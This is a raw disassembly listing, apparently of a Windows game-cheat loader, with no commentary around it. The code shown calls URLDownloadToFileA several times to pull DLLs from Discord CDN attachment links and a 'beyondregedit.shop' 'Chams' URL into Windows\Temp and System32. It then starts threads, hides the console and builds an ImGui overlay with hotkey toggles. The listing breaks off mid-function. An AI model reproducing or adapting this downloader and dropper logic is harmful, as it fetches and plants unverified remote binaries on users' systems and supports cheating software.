lea rcx, [rbx + 0x15ce90]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x80]
movups xmmword [rdx], xmm0
lea r8, [rbp - 0x50]
mov qword [rsp + 0x20], r12
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempRas1.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x80]
movzx eax, byte [0x14015cf60]
movups xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x38], al
movsd xmm0, qword [0x14015cf58]
movsd qword [rbp - 0x40], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15d0b0]
lea rax, [rbx + 0x15d0b0]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x80]
mov qword [rsp + 0x20], r12
movups xmmword [rcx], xmm0
lea r8, [rbp - 0x50]
movups xmm0, xmmword [rax + 0x20]
lea rdx, [rbp + 0x80]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov eax, dword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov dword [rcx + 0xb0], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempwin.dll]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14015d178]
movsd qword [rbp - 0x40], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
movups xmm1, xmmword [0x14015c9a0]
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x14015c9b0]
lea r8, [rbp - 0x50]
movzx eax, word [0x14015c9e8]
lea rdx, [rbp + 0x80]
movups xmm1, xmmword [0x14015c9c0]
xor r9d, r9d
movups xmmword [rbp + 0xa0], xmm0
xor ecx, ecx
movups xmm0, xmmword [0x14015c9d0]
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x14015c9e0]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0xd8], ax
movzx eax, word [0x14015c658]
movups xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x38], ax
movsd xmm0, qword [0x14015c650]
movzx eax, byte [0x14015c65a]
movsd qword [rbp - 0x40], xmm0
movups xmmword [rbp + 0xb0], xmm1
mov byte [rbp - 0x36], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181239858729040_BlackAndRed.dll]
lea r8, [rbp + 0x180]
movups xmm1, xmmword [0x14015d190]
lea rdx, [rbp + 0x80]
mov eax, dword [0x14015d1d8]
xor r9d, r9d
movups xmmword [rbp + 0x80], xmm0
xor ecx, ecx
movups xmm0, xmmword [0x14015d1a0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x14015d1c0]
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x14015d1d0]
movups xmmword [rbp + 0x90], xmm1
movups xmm1, xmmword [0x14015d1b0]
mov dword [rbp + 0xd8], eax
movzx eax, word [0x14015d1dc]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:WindowsTempBlackAndRed.dll]
mov word [rbp + 0xdc], ax
movzx eax, byte [0x14015d1de]
movups xmmword [rbp + 0xb0], xmm1
movups xmm1, xmmword [0x14015c690]
mov byte [rbp + 0xde], al
movups xmmword [rbp + 0x180], xmm0
mov qword [rsp + 0x20], r12
movups xmmword [rbp + 0x190], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__beyondregedit.shop_Chams_bCpj3Pd.dll]
mov eax, dword [0x14015d208]
xor r9d, r9d
movups xmm1, xmmword [0x14015d1f0]
mov dword [rbp + 0x1d8], eax
lea r8, [rbp + 0x180]
movzx eax, byte [0x14015d20c]
lea rdx, [rbp + 0x1b0]
movups xmmword [rbp + 0x1b0], xmm0
xor ecx, ecx
mov byte [rbp + 0x1dc], al
movsd xmm0, qword [0x14015d200]
movsd qword [rbp + 0x1d0], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32_bCpj3Pd.dll]
mov qword [rsp + 0x20], r12
movups xmmword [rbp + 0x1c0], xmm1
movups xmm1, xmmword [0x14015c5f0]
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32chams.dll
lea rcx, [rbp + 0x1e60]
call fcn.140053c90
xor r9d, r9d
mov qword [rsp + 0x28], r12
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
lea r8, [0x14004a830]
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140049550]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140049690]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x140048c90]
lea rcx, [rbp + 0x40]
call fcn.140053ca0
mov rcx, rax
call fcn.140048460
lea rcx, [rbp + 0x40]
call fcn.140047b70
mov rcx, qword [0x140205378]
call fcn.140048cf0
lea rcx, [0x1402266e0]
call fcn.1400c8f40
cmp dword [0x1402053c8], r12d
jne 0x14004cf90
call fcn.140054630
mov rcx, rax
call fcn.140054590
mov dword [0x1402053c8], eax
call fcn.140054630
mov edx, dword [0x1402053c8]
mov rcx, rax
call fcn.1400544d0
lea rcx, [0x1402266e0]
call fcn.1400c8f40
cmp byte [0x1402268f8], r12b
jne 0x14004cfe9
lea rcx, [0x140226900]
call fcn.1400435d0
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [0x140053530]
mov qword [rsp + 0x2140], rsi
mov edx, 0x7f00
mov qword [rbp + 0x2c8], rax
xor ecx, ecx
mov qword [rsp + 0x2148], rdi
mov dword [rbp + 0x2c0], 0x50
mov dword [rbp + 0x2c4], 0x40
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2d8], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x2e0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rdi, [0x14015d240]
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2e8], rax
mov edx, 0x7f00
lea rax, str.ImGui
mov qword [rbp + 0x300], rdi
xor ecx, ecx
mov qword [rbp + 0x2f8], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x2c0]
mov qword [rbp + 0x308], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov esi, 1
mov ecx, esi
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x140]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
mov r9d, 0x80000000
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x300]
mov r8, rdi
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x280
sar eax, 1
sub eax, 0x1db
mov dword [rsp + 0x30], 0x3b6
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea ecx, [rsi + 0x2d]
mov qword [0x140205390], rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test sil, al
je 0x14004d121
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x14015e5e0]
lea rdx, [rbp + 0x880]
mov rcx, qword [0x140205390]
movdqu xmmword [rbp + 0x880], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x140205390]
lea rdx, [0x1402053b8]
xorps xmm0, xmm0
movups xmmword [0x1402053b8], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x140205390]
call fcn.140053320
test al, al
jne 0x14004d193
call fcn.1400534b0
mov rdx, qword [rbp + 0x2d8]
mov rcx, qword [rbp + 0x300]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, esi
jmp 0x1400531e8
mov rcx, qword [0x140205390]
mov edx, 0xa
movaps xmmword [rsp + 0x2100], xmm6
movaps xmmword [rsp + 0x20f0], xmm7
movaps xmmword [rsp + 0x20e0], xmm8
movaps xmmword [rsp + 0x20d0], xmm9
movaps xmmword [rsp + 0x20c0], xmm10
movaps xmmword [rsp + 0x20b0], xmm11
movaps xmmword [rsp + 0x20a0], xmm12
movaps xmmword [rsp + 0x2090], xmm13
movaps xmmword [rsp + 0x2080], xmm14
movaps xmmword [rsp + 0x2070], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140205390]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.6
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37c8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x448
call fcn.140017340
xor ecx, ecx
call fcn.1400069e0
call fcn.1400089c0
lea rcx, [rbp + 0xc20]
mov rdi, rax
or dword [rax], 3
call fcn.14002a5d0
mov dword [rbp + 0xc6c], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002da90
movss xmm6, dword [0x14015e4a0]
lea rdx, [0x140175110]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xc20]
mov r8d, 0x26368
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b0d0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x140205388], rax
call fcn.14002da90
movss xmm3, dword [0x14015e498]
lea rdx, [0x140175110]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0xc20]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b0d0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002da90
movss xmm3, dword [0x14015e4b4]
lea rdx, [0x1401ca080]
mov qword [rsp + 0x28], rax
mov r8d, 0xf40
lea rax, [rbp + 0xc20]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b0d0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x140205408], rax
call fcn.14002da90
mov qword [rsp + 0x28], rax
lea rdx, [0x1401a4720]
lea rax, [rbp + 0xc20]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rax
mov r8d, 0x25958
mov rcx, rbx
call fcn.14002b0d0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x140205400], rax
call fcn.14002da90
movss xmm3, dword [0x14015e4bc]
lea rdx, [0x1401a4720]
mov qword [rsp + 0x28], rax
mov r8d, 0x25958
lea rax, [rbp + 0xc20]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b0d0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x140205380], rax
call fcn.14002da90
movss xmm13, dword [0x14015e4ac]
lea rdx, [0x1401cafc0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm13
lea rax, [rbp + 0xc20]
mov r8d, 0x954
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b0d0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1402053f8], rax
call fcn.14002da90
movss xmm3, dword [0x14015e4c8]
lea rdx, [0x1401cb920]
mov qword [rsp + 0x28], rax
mov r8d, 0x20fe0
mov rcx, rbx
mov qword [rsp + 0x20], r12
call fcn.14002b0d0
cmp qword [0x140205370], r12
mov qword [rbp + 0x288], rax
jne 0x14004d47e
mov rcx, qword [0x1402053d0]
lea rax, [0x140205370]
mov qword [rsp + 0x30], r12
lea r9, [0x1402040d8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401ec900]
mov qword [rsp + 0x20], rcx
mov r8d, 0x163ec
mov rcx, qword [0x14022ad88]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140205350], r12
jne 0x14004d4c5
mov rcx, qword [0x14022ad88]
lea rax, [0x140205350]
mov qword [rsp + 0x30], r12
lea r9, [0x1402040d8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14019f640]
mov rax, qword [0x1402053d0]
mov r8d, 0x1062
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140205348], r12
jne 0x14004d50c
mov rcx, qword [0x14022ad88]
lea rax, [0x140205348]
mov qword [rsp + 0x30], r12
lea r9, [0x1402040d8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14019b480]
mov rax, qword [0x1402053d0]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140205368], r12
jne 0x14004d553
mov rcx, qword [0x14022ad88]
lea rax, [0x140205368]
mov qword [rsp + 0x30], r12
lea r9, [0x1402040d8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401a06b0]
mov rax, qword [0x1402053d0]
mov r8d, reloc.WLDAP32.dll_Ordinal_211
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140205358], r12
jne 0x14004d59a
mov rcx, qword [0x14022ad88]
lea rax, [0x140205358]
mov qword [rsp + 0x30], r12
lea r9, [0x1402040d8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14019f410]
mov rax, qword [0x1402053d0]
mov r8d, 0x230
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140205360], r12
jne 0x14004d5e1
mov rcx, qword [0x14022ad88]
lea rax, [0x140205360]
mov qword [rsp + 0x30], r12
lea r9, [0x1402040d8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401a0790]
mov rax, qword [0x1402053d0]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x140205390]
call fcn.140045940
mov rdx, qword [0x14022ad98]
mov rcx, qword [0x14022ad88]
call fcn.140045470
xorps xmm7, xmm7
lea rcx, [rbp + 0xbe0]
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm7
xorps xmm2, xmm2
xorps xmm1, xmm1
call fcn.140001d60
movss xmm9, dword [0x14015e418]
xor bl, bl
movss xmm15, dword [0x14015e5c4]
movss xmm12, dword [0x14015e42c]
movss xmm6, dword [0x14015e4dc]
movss xmm8, dword [0x14015e4e4]
movss xmm11, dword [0x14015e444]
movss xmm10, dword [0x14015e3e0]
movss xmm14, dword [0x14015e524]
mov qword [rsp + 0x2150], r13
mov qword [rsp + 0x2118], r14
mov dword [rbp + 0x60], ebx
mov qword [rsp + 0x2110], r15
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, [rbp + 0xa58]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14004d6ef
nop
lea rcx, [rbp + 0xa58]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xa58]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xa60], 0x12
lea rcx, [rbp + 0xa58]
movzx ebx, bl
cmove ebx, esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14004d6a0
mov dword [rbp + 0x60], ebx
test bl, bl
jne 0x14005313f
mov ecx, Ordinal_50
call fcn.14004a870
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx r13d, al
call fcn.14004a870
mov ecx, 0x33
mov byte [rsp + 0x60], al
call fcn.14004a870
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x61], al
call fcn.14004a870
mov ecx, WSAStartup
mov byte [rsp + 0x62], al
call fcn.14004a870
mov ecx, WSAStartup
mov byte [rsp + 0x63], al
call fcn.14004a870
mov ecx, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x64], al
call fcn.14004a870
mov ecx, 0x51
mov byte [rsp + 0x65], al
call fcn.14004a870
mov ecx, 0x45
mov byte [rsp + 0x66], al
call fcn.14004a870
cmp byte [0x14020541e], 1
movzx ecx, al
movzx r9d, byte [0x1402052fc]
mov byte [rsp + 0x67], al
jne 0x14004d799
test r13b, r13b
je 0x14004d799
test r9b, r9b
jne 0x14004d799
cmp byte [0x1402053a2], r9b
sete byte [0x1402053a2]
mov eax, dword [0x14020532c]
movzx r10d, byte [0x1402053eb]
movzx r11d, byte [0x140205346]
movzx ebx, byte [0x140205340]
movzx edi, byte [0x1402053a5]
movzx esi, byte [0x140205345]
movzx r14d, byte [0x1402052fe]
movzx r15d, byte [0x14020531d]
movzx r12d, byte [0x1402053a0]
cmp eax, 1
jne 0x14004d816
test r13b, r13b
je 0x14004d9cc
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r9b, r9b
jne 0x14004d9dc
cmp byte [0x1402053de], r9b
sete byte [0x1402053de]
jmp 0x14004d9dc
cmp eax, 2
jne 0x14004d84f
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x14004d9d1
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r10b, r10b
jne 0x14004d9dc
cmp byte [0x1402053de], r10b
sete byte [0x1402053de]
jmp 0x14004d9dc
cmp eax, 3
jne 0x14004d888
movzx edx, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
test dl, dl
je 0x14004d9dc
test r11b, r11b
jne 0x14004d9dc
cmp byte [0x1402053de], r11b
sete byte [0x1402053de]
jmp 0x14004d9dc
cmp eax, 4
jne 0x14004d8c0
movzx r8d, byte [rsp + 0x62]
movzx ecx, byte [rsp + 0x60]
test r8b, r8b
je 0x14004d9d7
movzx edx, byte [rsp + 0x61]
test bl, bl
jne 0x14004d9dc
cmp byte [0x1402053de], bl
sete byte [0x1402053de]
jmp 0x14004d9dc
cmp eax, 5
jne 0x14004d8fc
cmp byte [rsp + 0x63], 0
je 0x14004d9cc
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test dil, dil
jne 0x14004d9dc
cmp byte [0x1402053de], dil
sete byte [0x1402053de]
jmp 0x14004d9dc
cmp eax, 6
jne 0x14004d938
cmp byte [rsp + 0x64], 0
je 0x14004d9cc
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test sil, sil
jne 0x14004d9dc
cmp byte [0x1402053de], sil
sete byte [0x1402053de]
jmp 0x14004d9dc
cmp eax, 7
jne 0x14004d96d
cmp byte [rsp + 0x65], 0
je 0x14004d9cc
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r14b, r14b
jne 0x14004d9dc
cmp byte [0x1402053de], r14b
sete byte [0x1402053de]
jmp 0x14004d9dc
cmp eax, 8
jne 0x14004d99e
cmp byte [rsp + 0x66], 0
je 0x14004d9cc
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r15b, r15b
jne 0x14004d9dc
cmp byte [0x1402053de], r15b
sete byte [0x1402053de]
jmp 0x14004d9dc
cmp eax, 9
jne 0x14004d9cc
test cl, cl
je 0x14004d9cc
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r12b, r12b
jne 0x14004d9dc
cmp byte [0x1402053de], r12b
sete byte [0x1402053de]
jmp 0x14004d9dc
movzx ecx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
movzx edx, byte [rsp + 0x61]
mov eax, dword [0x14022ad6c]
cmp eax, 1
jne 0x14004d9f8
test r13b, r13b
je 0x14004da89
test r9b, r9b
jmp 0x14004da79
cmp eax, 2
jne 0x14004da0a
test cl, cl
je 0x14004da89
test r10b, r10b
jmp 0x14004da79
cmp eax, 3
jne 0x14004da18
test dl, dl
je 0x14004da89
test r11b, r11b
jmp 0x14004da79
cmp eax, 4
jne 0x14004da26
test r8b, r8b
je 0x14004da89
test bl, bl
jmp 0x14004da79
cmp eax, 5
jne 0x14004da37
cmp byte [rsp + 0x63], 0
je 0x14004da89
test dil, dil
jmp 0x14004da79
cmp eax, 6
jne 0x14004da48
cmp byte [rsp + 0x64], 0
je 0x14004da89
test sil, sil
jmp 0x14004da79
cmp eax, 7
jne 0x14004da59
cmp byte [rsp + 0x65], 0
je 0x14004da89
test r14b, r14b
jmp 0x14004da79
cmp eax, 8
jne 0x14004da6a
cmp byte [rsp + 0x66], 0
je 0x14004da89
test r15b, r15b
jmp 0x14004da79
cmp eax, 9
jne 0x14004da89
cmp byte [rsp + 0x67], 0
je 0x14004da89
test r12b, r12b
jne 0x14004da89
cmp byte [0x1402053e1], 0
sete byte [0x1402053e1]
mov eax, dword [0x14022ad70]
cmp eax, 1
jne 0x14004daa5
test r13b, r13b
je 0x14004db36
test r9b, r9b
jmp 0x14004db26
cmp eax, 2
jne 0x14004dab7
test cl, cl
je 0x14004db36
test r10b, r10b
jmp 0x14004db26
cmp eax, 3
jne 0x14004dac5
test dl, dl
je 0x14004db36
test r11b, r11b
jmp 0x14004db26
cmp eax, 4
jne 0x14004dad3
test r8b, r8b
je 0x14004db36
test bl, bl
jmp 0x14004db26
cmp eax, 5
jne 0x14004dae4
cmp byte [rsp + 0x63], 0
je 0x14004db36
test dil, dil
jmp 0x14004db26
cmp eax, 6
jne 0x14004daf5
cmp byte [rsp + 0x64], 0
je 0x14004db36
test sil, sil
jmp 0x14004db26
cmp eax, 7
jne 0x14004db06
cmp byte [rsp + 0x65], 0
je 0x14004db36
test r14b, r14b
jmp 0x14004db26
cmp eax, 8
jne 0x14004db17
cmp byte [rsp + 0x66], 0
je 0x14004db36
test r15b, r15b
jmp 0x14004db26
cmp eax, 9
jne 0x14004db36
cmp byte [rsp + 0x67], 0
je 0x14004db36
test r12b, r12b
jne 0x14004db36
cmp byte [0x1402053b7], 0
sete byte [0x1402053b7]
mov eax, dword [0x14022ada0]
cmp eax, 1
jne 0x14004db52
test r13b, r13b
je 0x14004dbe3
test r9b, r9b
jmp 0x14004dbd3
cmp eax, 2
jne 0x14004db64
test cl, cl
je 0x14004dbe3
test r10b, r10b
jmp 0x14004dbd3
cmp eax, 3
jne 0x14004db72
test dl, dl
je 0x14004dbe3
test r11b, r11b
jmp 0x14004dbd3
cmp eax, 4
jne 0x14004db80
test r8b, r8b
je 0x14004dbe3
test bl, bl
jmp 0x14004dbd3
cmp eax, 5
jne 0x14004db91
cmp byte [rsp + 0x63], 0
je 0x14004dbe3
test dil, dil
jmp 0x14004dbd3
cmp eax, 6
jne 0x14004dba2
cmp byte [rsp + 0x64], 0
je 0x14004dbe3
test sil, sil
jmp 0x14004dbd3
cmp eax, 7
jne 0x14004dbb3
cmp byte [rsp + 0x65], 0
je 0x14004dbe3
test r14b, r14b
jmp 0x14004dbd3
cmp eax, 8
jne 0x14004dbc4
cmp byte [rsp + 0x66], 0
je 0x14004dbe3
test r15b, r15b
jmp 0x14004dbd3
cmp eax, 9
jne 0x14004dbe3
cmp byte [rsp + 0x67], 0
je 0x14004dbe3
test r12b, r12b
jne 0x14004dbe3
cmp byte [0x1402053df], 0
sete byte [0x1402053df]
mov eax, dword [0x14022ad64]
cmp eax, 1
jne 0x14004dbff
test r13b, r13b
je 0x14004dc90
test r9b, r9b
jmp 0x14004dc80
cmp eax, 2
jne 0x14004dc11
test cl, cl
je 0x14004dc90
test r10b, r10b
jmp 0x14004dc80
cmp eax, 3
jne 0x14004dc1f
test dl, dl
je 0x14004dc90
test r11b, r11b
jmp 0x14004dc80
cmp eax, 4
jne 0x14004dc2d
test r8b, r8b
je 0x14004dc90
test bl, bl
jmp 0x14004dc80
cmp eax, 5
jne 0x14004dc3e
cmp byte [rsp + 0x63], 0
je 0x14004dc90
test dil, dil
jmp 0x14004dc80
cmp eax, 6
jne 0x14004dc4f
cmp byte [rsp + 0x64], 0
je 0x14004dc90
test sil, sil
jmp 0x14004dc80
cmp eax, 7
jne 0x14004dc60
cmp byte [rsp + 0x65], 0
je 0x14004dc90
test r14b, r14b
jmp 0x14004dc80
cmp eax, 8
jne 0x14004dc71
cmp byte [rsp + 0x66], 0
je 0x14004dc90
test r15b, r15b
jmp 0x14004dc80
cmp eax, 9
jne 0x14004dc90
cmp byte [rsp + 0x67], 0
je 0x14004dc90
test r12b, r12b
jne 0x14004dc90
cmp byte [0x1402053dd], 0
sete byte [0x1402053dd]
mov eax, dword [0x140205338]
cmp eax, 1
jne 0x14004dcac
test r13b, r13b
je 0x14004dd3d
test r9b, r9b
jmp 0x14004dd2d
cmp eax, 2
jne 0x14004dcbe
test cl, cl
je 0x14004dd3d
test r10b, r10b
jmp 0x14004dd2d
cmp eax, 3
jne 0x14004dccc
test dl, dl
je 0x14004dd3d
test r11b, r11b
jmp 0x14004dd2d
cmp eax, 4
jne 0x14004dcda
test r8b, r8b
je 0x14004dd3d
test bl, bl
jmp 0x14004dd2d
cmp eax, 5
jne 0x14004dceb
cmp byte [rsp + 0x63], 0
je 0x14004dd3d
test dil, dil
jmp 0x14004dd2d
cmp eax, 6
jne 0x14004dcfc
cmp byte [rsp + 0x64], 0
je 0x14004dd3d
test sil, sil
jmp 0x14004dd2d
cmp eax, 7
jne 0x14004dd0d
cmp byte [rsp + 0x65], 0
je 0x14004dd3d
test r14b, r14b
jmp 0x14004dd2d
cmp eax, 8
jne 0x14004dd1e
cmp byte [rsp + 0x66], 0
je 0x14004dd3d
test r15b, r15b
jmp 0x14004dd2d
cmp eax, 9
jne 0x14004dd3d
cmp byte [rsp + 0x67], 0
je 0x14004dd3d
test r12b, r12b
jne 0x14004dd3d
cmp byte [0x1402053e2], 0
sete byte [0x1402053e2]
mov eax, dword [0x140205330]
cmp eax, 1
jne 0x14004dd64
test r13b, r13b
je 0x14004ddc1
test r9b, r9b
jne 0x14004ddc1
cmp byte [0x1402053b2], 0
sete al
mov byte [0x1402053b2], al
jmp 0x14004ddc8
cmp eax, 2
jne 0x14004dd72
test cl, cl
je 0x14004ddc1
test r10b, r10b
jmp 0x14004dd50
cmp eax, 3
jne 0x14004dd80
test dl, dl
je 0x14004ddc1
test r11b, r11b
jmp 0x14004dd50
cmp eax, 4
jne 0x14004dd8e
test r8b, r8b
je 0x14004ddc1
test bl, bl
jmp 0x14004dd50
cmp eax, 5
jne 0x14004dd9f
cmp byte [rsp + 0x63], 0
je 0x14004ddc1
test dil, dil
jmp 0x14004dd50
cmp eax, 6
jne 0x14004ddb0
cmp byte [rsp + 0x64], 0
je 0x14004ddc1
test sil, sil
jmp 0x14004dd50
cmp eax, 7
